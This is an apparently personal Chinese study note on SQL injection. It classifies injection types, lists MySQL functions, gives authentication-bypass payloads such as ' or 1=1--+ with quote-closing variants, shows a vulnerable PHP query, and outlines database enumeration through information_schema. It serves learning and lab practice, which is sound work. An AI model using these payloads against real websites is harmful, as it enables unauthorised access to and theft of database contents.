文章目录
- 一、注入的分类
 - 1.基于服务器收到的响应
 - 2.基于处理输入的SQL查询(数据类型)
 - 3.基于程度和顺序的注入(哪里受了影响)
 - 4、基于注入点位置
 
- 二、系统函数
 - 1.字符串连接函数
 - 2.一般用于尝试的语句
 - 3.union操作符的介绍
 
- 总结
 
一、注入的分类
1.基于服务器收到的响应
- 基于错误的SQL注入
 - 联合数据类型
 - 堆查询注入
 - SQL盲注(时间,布尔,报错)
 
2.基于处理输入的SQL查询(数据类型)
- 字符串
 - 数字或整数
 
3.基于程度和顺序的注入(哪里受了影响)
- 一阶注入
 - 二阶注入
一阶注入直接对web产生影响,二阶注入间接对web产生影响 
4、基于注入点位置
- 表单域的位置注入
 - cookie注入
 - 通过服务器变量(基于头部信息的注入)
 
二、系统函数
version()—mysql的版本号user()—用户名database()—数据库@@datadir—数据库路径@@version_compile_os—操作系统版本号
1.字符串连接函数
concat(str1,str2,....)没有分割符的连接字符串concat_ws(separet,str1,str2...)有分割符的连接字符串group_concat(str1,str2...)连接一个组的所有字符串并用逗号隔开
2.一般用于尝试的语句
--+可用#来代替#编码后的结果是%23- or 1=1–+
 - ’ or 1=1–+
 - " or 1=1–+
 - ) or 1=1–+
 - ') or 1=1–+
 - ") or 1=1–+
 - ")) or 1=1–+
一般的代码格式为: 
 $id=$_GET['id']
 $sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
 
一般考虑闭合前面的’或者闭合后面的‘,一般采用两种思想闭合后面的引号或者注释掉,注释采用
 --+或#(%23)。
3.union操作符的介绍
union操作的符用于合并两个或多个select语句,两个语句的操作符需要拥有相同的列和数据类型。
 SQL UNION语法
SELECT column_name(s) FROM table_name1
UNION
SELECT column_name(s) FROM table_name
 
注释:默认选取不重复的值,如果想要重复的值使用union all
SQL 中的逻辑运算
举出一个例子进行说明:
select *from spirt where users="hello" and password="" or 1=1--+
 
and的优先级高于or,users and password =false而or 1=1恒为真。所以结果就恒为真了。
 
- select *from user where id=1 and 1=1;
 - select *from user where id=1 && 1=1;
 - select *from user where id=1 & 1=1;
上面1和2是一样的,3是按位相与。(&的优先级大于=) 
注入流程

 以下简述mysql的一些基本操作,用来检查数据库中的基本内容信息。
show databases;//检查有哪些数据库
use security;//使用security数据库
show tables;//查看security数据库中有哪些表
desc mails;//查看这个表的结构
 
mysql中有一个information_schema,存储着所有的数据库的相关信息。
 一般我们利用该表可以进行一次完整的注入。
 猜数据库
select schema_name from information_schema.schemata
 
猜某库的数据表
selece table_name from information_schema.tables where  table_schema="";
 
猜某表对所有列
select column_name from information_schema.columns where table_name="";
 
获取某列的内容
select *** from ***;
 
总结
原谅我这一生不羁放荡来自由。



















